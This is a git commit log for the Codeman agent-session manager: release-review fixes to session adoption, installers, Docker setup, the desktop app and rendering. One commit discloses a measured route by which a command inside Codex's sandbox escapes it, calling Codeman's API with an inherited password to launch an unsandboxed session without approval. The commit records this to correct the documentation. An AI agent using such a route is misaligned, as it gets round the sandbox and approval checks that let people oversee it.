Codeman maintainer c65706a3e4 Merge #510 feat(adopt): adopt tmux sessions a human started, in all three locations
The attach line now takes the rule #770 gave remote and docker launches: bashCArg() single-quotes it at both respawn-pane sites, so it reaches bash verbatim. quoteAdoptLaunch is retired, since its double quotes kept the same $ and backtick safety but lost a real newline. #510's no-cd condition stays.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:36:20 +01:00
Codeman maintainer 7594c7fc0b fix(clone): keep the preview and the wording on the parent folder
The "Will clone into" line named a folder the request would not use: the
preflight replaces the page's guessed case name with the server's (for a
URL such as .../repo?tab=readme the guess is repo-tab-readme and the server
says repo) and nothing refreshed the preview, so it stayed on the old name
while the field and the request moved on. It is now refreshed there too.

The Browse picker's title and the empty-field toast still said "Choose the
folder to clone into", the old exact-target meaning. Both now ask for the
parent folder, matching the field's label.

CLAUDE.md and the invariants paragraph split the two meanings: path on the
API is the exact folder, the Clone Repo tab's field is a parent and the page
sends <folder>/<case name>.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:20:37 +01:00
Codeman maintainer aacf105cea Merge #614 fix(files): prevent large folders starving File Viewer results
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:04:44 +01:00
Codeman maintainer 76e40668fc Merge #766 feat: edit history panel for remote (SSH) claude sessions
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:04:19 +01:00
Codeman maintainer 44349395d0 Merge #753 feat(codex): let Codex sessions drive other sessions through the codeman skill
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:03:54 +01:00
Codeman maintainer 11208a153c Merge #768 feat(install): install without administrator rights (--no-admin)
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:03:29 +01:00
Codeman maintainer a2c530b93c Merge #573 feat(docker): guided first run for the Compose deployment
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:03:04 +01:00
Codeman maintainer cddfc07550 Merge relprep/rtl fix(response-viewer): lay out Persian, Arabic and Hebrew right to left (#715)
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:02:36 +01:00
Codeman maintainer 9ba5a89123 Merge #761 feat(picker): New folder button for Create New's custom folder picker
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:02:08 +01:00
Codeman maintainer f8832ec78f Merge #772 fix(files): list the git worktree an agent moved into
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:01:41 +01:00
Codeman maintainer 9751f51bdc Merge #767 fix(custom-model): give a session its own env values back when the selection goes
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:01:14 +01:00
Codeman maintainer 4d20b9c898 Merge #771 fix(pi): keep the mouse wheel working after a tab switch or reload
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:00:46 +01:00
Codeman maintainer 9e9031214e Merge #770 fix(remote): stop the local shell expanding the remote launch (exit 127 since 1.47.0)
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:00:18 +01:00
Codeman maintainer 78b1cb26dc Merge #764 fix(cases): serialize every write to linked-cases.json
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:59:52 +01:00
Codeman maintainer 39d0e6c5ab docs: describe right-to-left rendering in the manual and the invariants (release review)
The wiki gains right-to-left notes for Last Response, the phone's Compose
editor and the rendered Markdown view, plus a Troubleshooting entry for the
#715 report: the terminal is xterm.js, which has no right-to-left support
(xtermjs/xterm.js#701). src/web/CLAUDE.md and the invariants now state the dir
pins, the logical-property rule and that the direction pass runs last.

The changeset claimed every file path stays left to right. It now says only
what holds: the paths the viewer links on its own.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:49:02 +01:00
Codeman maintainer 4413240c5f fix: set dir="auto" after the linkifier so code-only documents stay linear (release review)
`_renderMarkdown` wrote dir="auto" into its string, before the code pins and
the linkifier. An element carrying dir="auto" re-resolves its direction on
every insertion under it, and a block whose letters all sit in `dir` children
walks its whole subtree each time, so a code-only or path-only document went
quadratic, English ones included.

Measured in real Chromium through the real File Viewer, before and after:
9000 inline-code items 8.7 s to 0.35 s, 9000 bare paths 5.6 s to 0.23 s, a
209 KB out-of-workspace list 41.9 s to 1.4 s. All three now match master.

The pass is now `_applyBlockDirection()`, run last on the DOM by both
consumers. The direction results are unchanged. Tests pin that the rendered
string holds no dir="auto" and that the pass runs after the linkifier.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:49:02 +01:00
Codeman maintainer 2d7cd49449 fix: keep foreign discovery from throwing, and correct the adoption docs (release review)
candidatesFrom had moved outside the try when the transports moved to
runForeignProbe, so a classifier failure would have reached the route as a 500.
The module promises it never throws, so the guard is back for local and docker.

Docs:
- The api reference said `blocked` waits are always refused, and listed Ralph as
  refused while two of its file routes were not (they are now).
- The invariants doc and CLAUDE.md gain the rules this review turned up: target
  syntax in names, the ping before list-panes, nothing typed into an adopted pane,
  quoteAdoptLaunch.
- CLAUDE.md no longer says every claude session gets hooks or a stop wait.
- ForeignTmuxSession's mode and workingDir describe the first listed pane, not
  the active one.
- The wiki had no page on adoption: The Dashboard gains an Opened outside Codeman
  section, and the remote and docker pages point at it. docs/docker-cases.md now
  separates an adopted container from an adopted tmux session.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:45:29 +01:00
Codeman maintainer 25214fcc5f fix: adopting a shell session no longer types into the foreign pane (release review)
startShell() writes `clear\n` 100 ms after a new mux attach, and for an adopted
session that write reaches someone else's live pane through the wrapper's tmux
client. Measured on an isolated instance: a shell with `echo DRAFT_NOT_SUBMITTED_`
typed at its prompt ran `echo DRAFT_NOT_SUBMITTED_clear` the moment the tab
opened. `shell` is the feature's primary case and also the classifier's answer
for anything it cannot name (vim, psql, a `read` prompt), so every adoption put
those six bytes in front of whatever was reading stdin.

After the fix a byte recorder in the foreign pane saw 0 bytes in the 6 s after
adopting, and a real input afterwards arrived intact. Not in the review: its
recorder covered the trust-dialog path, which is `claude` mode.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:38:05 +01:00
Codeman maintainer 0141c8954c fix: the wiki's install table says git pull too, and the pty tests skip without script (release review)
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:34:24 +01:00
Codeman maintainer c97b592ee2 fix: bring the docs in line with the no-admin route (release review)
Name the real trigger and CODEMAN_NO_ADMIN=0 in the READMEs and the
Installation page, add the install without git to the update tables and the
updater notes, record the installer's downloads in the supply chain section,
and say that the data directory question also removes a kept runtime.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:34:18 +01:00
Codeman maintainer 49b2c0e9bd fix: no-admin route messages, noexec tmp, unset USER and install dir slash (release review)
An account sudoers lists by name, with a password, is routed to no-admin
because nothing can read sudoers without reporting to the administrator.
The route itself stays as chosen, but the reason no longer claims the
account may not use sudo, and every message that ends or sums up the route
names CODEMAN_NO_ADMIN=0 for that reason alone.

tmux and cloudflared are staged in the home folder, so a noexec /tmp no
longer reports a working build as one that does not run. USER gets a default
at the top of the script, which also covers the older lines this route can
reach. A trailing slash on CODEMAN_INSTALL_DIR no longer puts .new and .old
inside the install. The data directory prompt names a runtime kept one
prompt earlier.

The uninstall check reads the source and must never drive uninstall(): HOME
does not redirect systemctl --user, so a drive reaches the real service.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:34:18 +01:00
Codeman maintainer aa40cca343 fix: adopted tmux targets, hung servers and the attach chain (release review)
Names tmux reads as target syntax (`@1`, `%1`, `=eq`, a bare `~`) passed the
has-session guard by name and then joined something else in new-session -t:
another session, or a fresh shell on the foreign server. They are refused at
discovery now, and take the existing skipped note.

One stopped tmux server emptied the whole local list and left a stuck client
per scan. Each server now gets a bounded ping with stdout at /dev/null first,
because a tmux client hands dups of its stdout to the server: a stopped server
holds our pipe open after the client is dead, so a watchdog around list-panes
cannot work. The probe runs in its own process group, all three transports
keep the rows read before a failure, and a missed ping becomes a note.

The attach and the probe pass -u, so a POSIX-locale container no longer garbles
the tab or lists a non-ASCII name as underscores. A docker attach gets the same
TERM and COLORTERM an owned container's exec gets.

A missing tmux no longer reads as "session is gone", and the launch line's `$`
now reaches bash unexpanded, so the ssh attach's PATH line is expanded at the
far end, as the probe's already was.

fix-plan/write, fix-plan/read and ralph-prompt/write refuse an adopted session:
its workingDir is the neutral /tmp, so they read and wrote a predictable name
in a folder anyone can write to.

FOREIGN_MAX_SOCKETS is gone: it capped nothing, and a real cap in glob order
would never reach `default` on a box with many `codeman-*` sockets (this one
has 212). Closing an adopted tab re-reads the outside-sessions list.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:33:42 +01:00
Codeman maintainer ba2475c84f fix: updating a Compose install takes a git pull, and the docs say what the script does (release review)
The summary and README said rerunning the script updates Codeman. It never
fetches, so that was a successful no-op. The summary, README, its zh-CN mirror
and the wiki now say git pull, then rerun, with the in-app route first.

Also corrects "printed once" (twice at a terminal, never off one), says a typed
answer beats a preset, adds the first-run setup, the 180 s wait, --no-wait and
the changeme refusal to Running-As-A-Service and Troubleshooting, and records in
architecture-invariants why docker/.env is generated FROM .env.example.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:31:26 +01:00
Codeman maintainer 1a5b314d33 fix: a generated password goes to a terminal only (release review)
With stdout captured (CI, provisioning, `| tee`) the log held the password twice
for a service that controls Docker on the host, while docker/.env, the stronger
copy, is 0600. Off a terminal the script now points at the file instead. The note
beside it no longer promises a second showing, which `--setup-only` never gave.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:30:17 +01:00
Codeman maintainer f41e0cc6d4 fix: dot segments and doubled slashes cannot spell around the data folder refusals (release review)
The refusals of $HOME, ~/.codeman and the checkout compare strings, so
`~/../me` or `<repo>/../repo/data` passed them: the first shares state with a
native install, the second lands in the build context, where `COPY . .` would
bake CLI logins into the image. Doubled slashes are collapsed and any `.` or
`..` segment is refused.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:29:51 +01:00
Codeman maintainer 7ada939182 fix: refuse a docker/.env that exists but is not a regular file (release review)
The first-run gate tested `! -f`, so a dangling symlink was silently replaced,
and a directory got a 0600 temp file holding a working password, a "Wrote"
message and exit 0, with setup repeating on every later run. Setup now runs only
when nothing is there. A symlink to a real file stays an existing install.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:29:21 +01:00
Codeman maintainer 10a53579c6 fix: Update-Codeman.sh no longer closes the settings pipe early (release review)
The CODEMAN_APPDATA_PATH read ended awk at its first match. Whatever wrote the
rest of `config --environment` then met a closed pipe, and pipefail ended the
script with exit 141 and no message. Real Compose wins that race (0 of 50 runs,
on 2.33.0 and 5.5.0), so nobody has reported it, but the test stub, once it
honoured the shell environment, lost it. Same read as the password check below.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:29:00 +01:00
Codeman maintainer d539a7a3a2 fix: refuse a value ending in a backslash on the first run (release review)
In a single-quoted dotenv value a backslash escapes the closing quote, so a
password or data path ending in one passed validation and produced a docker/.env
Compose cannot parse. The error named an unrelated line, printed the password,
and a rerun never asked again. The env_quote comment claimed a single quote was
the only character such a value cannot hold, and the test stub's comment said
bash reads these values the way Compose does: both corrected, and a test now
reads generated values back by Compose's rules.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:28:01 +01:00
Codeman maintainer af6fcb624b fix: a first run's typed answers reach the stack, not just docker/.env (release review)
Compose prefers the shell environment over the env file, so with
CODEMAN_APPDATA_PATH or CODEMAN_PORT preset, a different typed answer went into
docker/.env and the summary while the stack ran on the preset: state split
across two folders and the next plain start mounted another home. Setup now
unsets everything it wrote, so the file it just printed is what Compose reads.
The test stub honours that precedence, and the questions get their first test
through a real pty.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:27:24 +01:00
Codeman maintainer 666e595dfc fix: the Docker daemon preflight fires on CLI 24 through 27 (release review)
`docker info --format` exits 0 with the daemon unreachable on those clients,
so a user outside the docker group got a raw Compose error and a "network
hiccup" hint after docker/.env and the data folder had already been written.
`docker version --format` exits 1 on every release and keeps the same stderr
text, so the permission branch still matches. The test stub now answers `info`
the way those clients do.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:26:53 +01:00
Codeman maintainer 0bc6171687 chore: merge master into the release review branch for PR 573
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:23:10 +01:00
Devvyn d2c75784d3 fix(clone): treat Clone Repo's custom folder as a parent, like Create New 2026-11-06 11:22:34 +08:00
Codeman maintainer aae0951d4e fix: name which picker rules skip the container picker (release review)
The New folder rule in the same paragraph does cover that picker, so "none of
the host rules" said too much.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:06:52 +01:00
Codeman maintainer 19a2197f84 docs: say which picker each statement covers (release review)
The picker is now reached from every Add Case Browse button, so three lines
in the manual and the opening of the CLAUDE.md and architecture-invariants
paragraphs read wrong. A Browse fills its form field, only the Path key types
into a prompt, and Docker's Container Workdir picker lists the inside of the
container through POST /api/docker-cases/browse: it always shows dot entries
and the host allowlist does not apply to it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:03:32 +01:00
Codeman maintainer c04955ca68 merge feat/desktop-app (the PR #763 review fixes) into the graphical installer branch
Both branches changed the connect page and three Rust files. How the
conflicts were settled:

- Layout (connect.html): both sides fixed the page being cut off above a
  small window. One layout is kept, the one that also holds the header still:
  a fixed top margin on `main`. The wizard's own top margin is dropped, since
  the page is anchored from the top in every state now and a second margin
  would move the header when the wizard opens. `#elsewhere` is a child of the
  card since the status line moved above it, so the wizard hides it too.
- State (connect.html): `gui` from the installer next to `askedFrom`,
  `reopen` and the starting-server counters from the review.
- setup.rs: `running_install` for the port, `install_in_app` for the flag.
- local_server.rs: `login_environment` and `in_home` both stay.
- README: the installer's This Mac row with the sentence about a starting
  server; both new paragraphs.

test/desktop-connect-page.browser.test.ts reaches the Terminal install the
way the page now offers it (Install, a failed preparation, "Install in
Terminal instead"), since Install opens the graphical install here.

Checked on the merged tree: 138 Rust unit tests, clippy and fmt on the Mac
mini; test/desktop-connect-install.test.ts (jsdom) and
test/desktop-connect-page.browser.test.ts (Chromium) both pass.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 04:02:20 +01:00
Codeman maintainer 3ef65d7c74 fix: let the path picker's error status wrap (release review)
The cases-folder refusal grew to 143 characters, and the status line is one
line with an ellipsis and no title, so at 513px on desktop it ended at "or
make the case with Ad..." and lost the instruction. .path-picker-status.error
now wraps: 2 lines on desktop, 4 on a phone, measured clear in Chromium at
both, and it covers the picker's other refusals too.

Tests: a pin on that rule (fails without the fix), and the option check now
reads each picker's whole options object instead of a fixed 400 characters,
which stopped short of the container-workdir picker's 829. Retitled to say
what it checks: Create New has the flag too.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:02:11 +01:00
Codeman maintainer f37f101137 Merge remote-tracking branch 'origin/master' into relprep/rtl 2026-11-06 04:01:39 +01:00
Codeman maintainer 92797c2619 test(desktop): unit tests for main.rs's decisions and a browser test for the connect page
main.rs was the only source file without tests, and it held three decisions
with real failure modes:

- Which login a connect goes out with. The choice was a closure body inside
  the probe worker; it is now choose_login, tested for every row: typed wins,
  then the Keychain, then the local Codeman's own login, which is used only
  when no saved password was expected and only for the same username.
- What the Keychain keeps afterwards (update_keychain): saved or deleted by
  Remember, never a copy of the local server's login, never a password the
  server wants changed, and the old user's item deleted before the new save.
  The in-memory Keychain store moves out of credentials' test module so other
  test modules can use it.
- When a commit in the main window means the server page is loaded.

The connect page had only substring checks in the repository; the checks that
drove it lived in a scratch script. They are now
test/desktop-connect-page.browser.test.ts: Chromium, the page's real CSP, a
stubbed native side, five ordered walks through every state of both tabs
(first run, logins, failures, redirects, Start, the install wait, the SSH
install, layout, double clicks, keys, a starting server, a WebKit too old).
Listed in BROWSER_TEST_GLOBS, so the nightly browser suite runs it and
`npm test` does not.

Also pins the install one-liner the page shows to the one Copy copies.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 03:54:49 +01:00
Codeman maintainer fafec35344 fix: bound what the Files panel walk reads and keep its subfolders in it (release review)
The round-robin walk capped what it listed, not what it read: every queued
folder was read whole, sorted and held until drained, so one GET could pull
millions of entries (100 folders of 50,000 files killed a 400 MB heap). A read
now keeps only the entries the listing can use, and MAX_WALK_ENTRIES_READ stops
opening folders at 250,000 entries, leaving the rest queued and flagged.

A folder also spent its whole share on its own files, leaving nothing for the
subfolders it had just found, alone in its round or beside a sibling, so search
hits inside them were lost. Its files now count as one more share beside those
subfolders. Math.max(directoriesInRound, 2) would have fixed only the sole-folder
case and cut a wide root's folder list short.

Folders below the walk root are probed before their readdir (#516), since the
walk reaches folders the depth-first one never did.

Filtering at the read also clears the false flag on a folder whose only unread
entries were hidden or excluded, and an exactly-full workspace now finishes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:53:08 +01:00
Codeman maintainer 962aa9b998 fix: the remote docs name the Edit history diffs as the exception (release review)
"Nothing is copied to the Codeman host" stopped being true when the Edit
history panel started keeping diffs read from a remote session's
transcripts. The README, the wiki's Remote SSH Sessions page and its
Security page now name that exception, in the wording the PR already uses
on Working With Files and in remote-sessions.md.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:49:59 +01:00
Codeman maintainer 81f8c8e894 fix: the live transcript lookup targets the exact tmux session (release review)
list-panes -t '=name' with no colon is a window target to tmux, so a
remote session that is gone resolved to a window of that name or to a
session the name is a prefix of, and the Edit history panel moved to that
session's conversation and stored its diffs. `=name:` is an exact session
match, as src/remote-pane-history.ts already uses. Measured on tmux 3.4.

The fake tmux in the test matched the name as a substring, so it passed
with or without the colon. It now needs the exact token and answers a bare
prefix the way real tmux does.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:49:59 +01:00
Codeman maintainer dbb3202161 fix(picker): word the cases-folder refusal for both pickers, and finish the review items
With the folder field empty, Create New's Browse opens in the cases folder, and New
folder there answered "Use Add Case > New Case". There is no tab of that name (the
label is Create New), and a Create New user is already on it. The refusal now reads
right from Link Existing and from Create New's custom folder. Its test pin, the code
comment, the manual, api-reference, CLAUDE.md and architecture-invariants move with it.

The block() helper in the New folder picker test returned an empty string for a name
that is not in session-ui.js, so .not.toContain passed and a renamed picker dropped out
of the check. It now asserts the name was found.

The manual's path picker list said two places and left out Create New, which the New
folder paragraph names. It now lists every Browse that opens the picker, and that
paragraph is rewrapped to the page's width.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:40:58 +01:00
Codeman maintainer a42ce9c79f fix(desktop): a starting server, windows that open where expected, and the review's smaller findings
Found by the three-part review of this branch. Each was checked against the
source first; every decision that can run without a window has a unit test.

This Mac:
- A Codeman that runs but listens nowhere yet (the first seconds after login,
  a restart) was reported as "already running ... it listens at process N,
  which this app cannot open", and Start was refused for it. It is now its own
  state: the tab says "starting", looks again every second, and opens Codeman
  once it is up when a connect to this Mac had just been refused. The state
  table is a pure function with a test (setup::local_state).
- A server the app starts runs in the home folder, like one started by launchd
  or in a terminal. It ran in the app's own directory (`/` after a Finder
  launch), which Codeman then used as the default for sessions.
- Server detection accepts any entry word that `web` follows, so a dev server
  under a folder named codeman is seen and never gets a second server beside
  it.
- A login shell is polled from 5 ms up instead of every 100 ms, and the port
  after a launchd start every 100 ms instead of 500: both were pure waiting.
- The last line of stdout is no longer glued to the first line of stderr.

Addresses and policy:
- A tailnet name typed with a port gets http://, not https://. With a port it
  is Codeman's own listener; https there ended in a TLS error with no hint.
- within_base refuses `..%2F` and the other encoded ways out of the base path,
  so a sibling app behind a decoding proxy never sees the login.
- A status answer whose body stalls is a timeout, not "something else answers
  here".
- The folder pop-out pattern matches the two routes the server has.
- A malformed `window` in desktop.json no longer costs the server list.

Windows:
- Pop-outs step off the window in use. tao centres a window with no position,
  so every pop-out opened exactly on top of the one before.
- A window opened by a script no longer brings the app to the front: wry
  activated the application for it, whatever the window itself was told.
- The first-run window sits between the menu bar and the Dock. Centred in the
  whole display, its bottom was under the Dock on a 900 pt high one.
- The window frame is saved once after a move or resize ends, not once a
  second during the drag.

Also makes the connect page independent of TextEncoder and scrollIntoView, so
it runs in jsdom as well as in a web view.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 03:40:53 +01:00
Codeman maintainer 36d8942744 docs(adopt): add the frontend note and scan the module for CLI ids
foreign-sessions.js joins the files the no-id test scans, so the catalog lookup
stays one. The block's rules go where a frontend reader looks, in
src/web/CLAUDE.md, and the architecture note no longer calls the file surfaces
read-only, since File Viewer edit mode writes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:38:38 +01:00
Codeman maintainer ae0de7a1ec Merge origin/master into relprep/pr-761
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:37:24 +01:00
Codeman maintainer 14716114cb fix: format the Codex changeset's frontmatter (release review)
Prettier wants single quotes on the package key, as earlier changesets in this
repository have. Valid YAML either way, so the release is unaffected.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:30:06 +01:00
Codeman maintainer 1f6f21fd24 docs(adopt): document the routes and the overlay, correct stale comments
The two routes are public under /api/v1, so they get an API reference section.
The overlay gets an architecture note and a CLAUDE.md rule: an adopted session
has session.remote and session.docker undefined and a neutral workingDir, so any
new code that reads workingDir as a workspace must also test isAdopted. That is
the class of bug this round fixed a dozen times.

Records a measured limit: while the view exists an owner's kill-session leaves
the window alive under it until the tab closes.

Comments that still called workingDir the foreign pane's cwd now say what is
true since the wrapper got its neutral folder. Also drops a zh-CN key that
duplicated an existing one, and updates the two structure tests pinned on the
lines this round changed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:29:35 +01:00
Codeman maintainer 116db3ba66 fix(desktop): a connect page that holds still, answers a press and never strands the user
Layout:
- The header no longer moves. The page was centred with align-items, so every
  change of the card's height moved everything (up to 150px between states),
  and a page taller than its window lost its top above the scroll origin,
  where no scrolling reaches it. The top margin is now fixed, the card grows
  downward and has a minimum height, and the page scrolls from its top. A
  short window gets a compact header.
- The status line sits right under the action it reports on, above the
  "not installed there yet?" section, takes no room while empty, and is
  scrolled into view in a small window. It was below the fold there.
- Looking at this Mac again keeps what was found on screen (the pane used to
  collapse to "Looking..." and grow back).

Feedback and keys:
- Buttons answer hover and press, every control shows keyboard focus, the
  primary button and the footer meet WCAG AA contrast, "Opening Codeman" keeps
  its spinner while the server page loads.
- Return opens or starts the Codeman on this Mac, Esc cancels a connect.
  Install always takes a click.
- The This Mac result is a live region, Forget buttons are named after their
  server, a long unbroken token wraps inside the card, the status text can be
  selected.

Correctness:
- The second click of a double click acts only on the control that took the
  first. It could connect to the server that slid under the pointer after a
  Forget, or flip "Connect automatically".
- An address, username or password too long for the app is refused with a
  reason. The app drops such a message without an answer, which left the page
  on "Connecting..." (the limits are pinned to policy.rs by a test).
- A connect answer goes to the tab that asked, a failed SSH install to its
  tab, and the login block no longer claims a saved password for another
  server.
- An automatic connect to the Codeman on this Mac no longer looks at this Mac
  first; a failed connect, Cancel or an error asks for that look.
- A login over plain http:// to another machine says that it is unencrypted.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 03:26:57 +01:00
Codeman maintainer e10b84dcdd fix: refresh comments that still say claude is the only gated CLI (release review)
Codex now declares a version gate too, so the notes in session.ts and
docker-hosts.ts were wrong, the hooks-config caveat described every local codex
when --no-daemon now covers 0.162 and later, and session-routes left network
access out of the launch defaults. architecture-invariants gains --no-daemon and
the network config in its list of Codex flags. Comments and docs only.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:25:00 +01:00
Codeman maintainer 353fe7ebcf fix: say what Allow network access really opens (release review)
The setting told users the sandbox and approvals stay on. With it on, a
command in Codex's sandbox can call Codeman's API, which can start a session
outside the sandbox with no approval prompt. Measured on codex 0.162.0 with
`codex sandbox`: a touch the sandbox refused landed through POST /api/sessions,
and from inside a Codeman pane it landed with a password set too, because a
pane inherits CODEMAN_PASSWORD. Without that password the same call gets 401.

The settings row, the wiki, the skill and the changeset now say so, the wiki
Security page and security-architecture name it, and the docs scope the claims
to what the code does: app-wide, local launches only, not cron jobs, and
--no-daemon is a local launch's flag. Agent-CLIs gains the --no-daemon
trade-off. A test pins that no surface sells the sandbox as still in charge.

Text only: the switch, the clamp and the launch are unchanged.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:25:00 +01:00
Codeman maintainer 01d3379b74 fix(desktop): recover a crashed page, name every dialog's frame, and four smaller review fixes
The findings of the 2026-11-05 review of this branch, each with a unit test
where the code can be tested without a window:

- A window whose web content process ended (a WebKit crash, or macOS taking
  the process back under memory pressure) stayed blank: wry answers WebKit's
  notice itself, which turns WebKit's own reload off. The window now loads its
  page again. A second end within 30 seconds sends the main window back to the
  connect page and closes a pop-out, so it cannot loop (policy::recovery).
- A JavaScript dialog from a frame nothing names (about:srcdoc, a data: or
  blob: URL under an opaque origin) showed the page's text as its bold first
  line. The first line is now always the app's own, the "embedded" flag is set
  when the origin names no host (it was the wrong way round), and every
  sub-frame counts as embedded, a trusted web tab on Codeman's origin included.
- The connect page lost the text of an error that needs the login fields: the
  tab switch cleared the status it had just set.
- Start for http://localhost:PORT missed the LaunchAgent (the compare was
  exact against 127.0.0.1) and ran a second, unsupervised server on its port.
- The path picker's preview Open link (api/filesystem/preview) did nothing: it
  was the one page Codeman opens in a window that the allowlist lacked.
- The port of a running install was lost whenever the Terminal script that
  wraps the installer came first in ps.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 03:20:01 +01:00
Codeman maintainer 08d99da5ae test(edit-history): the ssh kill test no longer races the fake's pid file
The test waited for a real 1000 ms timeout and read the pid file afterwards.
On a loaded machine the kill could land before the fake ssh wrote it. It now
waits for the pid and sends the timeout's SIGTERM itself, which is all Node's
timeout does. Without exec the fake still survives and the test goes red.

The invariants said "the reads" go through buildRemoteEditHistoryCommand; the
image probes go through remoteProbePaths, on the same limiter.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:17:14 +01:00
Codeman maintainer d62fa10c01 fix(adopt): zh-CN, registry labels, and the outside-sessions block for non-admins
Every string the block shows now has a zh-CN entry, harvested by a test from the
real module. The row's mode comes from the CLI catalog, not a list of ids that
had already missed omp and copilot. The close dialog's line is static, so the
translator can reach it.

A non-admin's poll answers 403, which read as a failed poll: "Could not reach
the server" under a heading they cannot use, and a request every eight seconds.
That now stops the polling and shows no block.

Wide-scan notes are kept apart from local ones, so the next local poll no longer
wipes "remote X: unreachable" while its rows stay on the list.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:13:52 +01:00
Codeman maintainer 7de4201955 fix(adopt): an adopted session has no workspace of ours
The wrapper's workingDir is the neutral /tmp, and everything master grew since
1.33.2 that branches on session.remote or session.docker read that as a local
session working in /tmp, because an adopted session keeps its connection on
adopt.remote and adopt.docker.

So uploads wrote into /tmp and closing the tab recursively deleted the shared
folder; the Git panel, its fetch and the fetch scheduler ran git on whatever sat
there; the image watcher, Read My Mind and the Discord bridge used that folder;
last-response paired a transcript by it and could show another conversation's
answer as this one's; a magic link in a container's output registered a file
from this host's /tmp; and guarded input could type into a human's composer.
Each now refuses or answers unsupported, the browser hides the rows that cannot
work, and Session Options shows where the foreign pane was instead of /tmp.

The custom-model route refuses as well, since it restarts the CLI in the pane.
The local version probe is skipped: the local binary says nothing about a
process someone else started, possibly on another host.

Also moves the guard test to port 0, which test-ports-guard now requires.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:13:52 +01:00
Codeman maintainer b5066744be fix(edit-history): a remote read with many subagents spans several round trips
The read script carries one case line per subagent cursor, and the whole
script is one argument of the ssh line, which Linux caps at 128 KiB. From
about 1000 subagents the command failed with E2BIG. The cursors have no cap
and the stored conversation is read first, so the session stayed unavailable
and not even a /clear got past it.

A read with more than 300 subagent requests now takes several round trips.
The cut is by name range, not only by count: the script takes a file no case
line names for a new one, so plain groups would read each other's files as
new. Each round trip walks only the names between its cuts, through one awk,
so a new file lands in exactly one range. Budget and meta budget carry over,
and a later round trip still lists its files, because a requested file missing
from the result loses its cursor. A failed round trip fails the whole read and
nothing of it reaches the store. A read of up to 300 runs no awk at all.

Each round of the 60-seed fuzz is also cut at a random size and compared with
the local reader. Run outside the suite too: bash --posix, BusyBox and mawk,
and bash 3.2 in a container, which is macOS sh. That shell cannot parse a case
inside $(...), so the names come from a shell function.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:13:03 +01:00
Codeman maintainer f464a22bc3 fix(adopt): bring the docker and ssh transports up to master
Docker discovery now spawns dockerEngineArgv(), not the shell-quoted
buildDockerBaseArgs(): execFile passed those quotes through, so docker
--context "'default'" failed and every container behind a named context or
remote daemon read as unreachable.

The ssh probe and attach gain withRemoteTmuxPath() like every other remote tmux
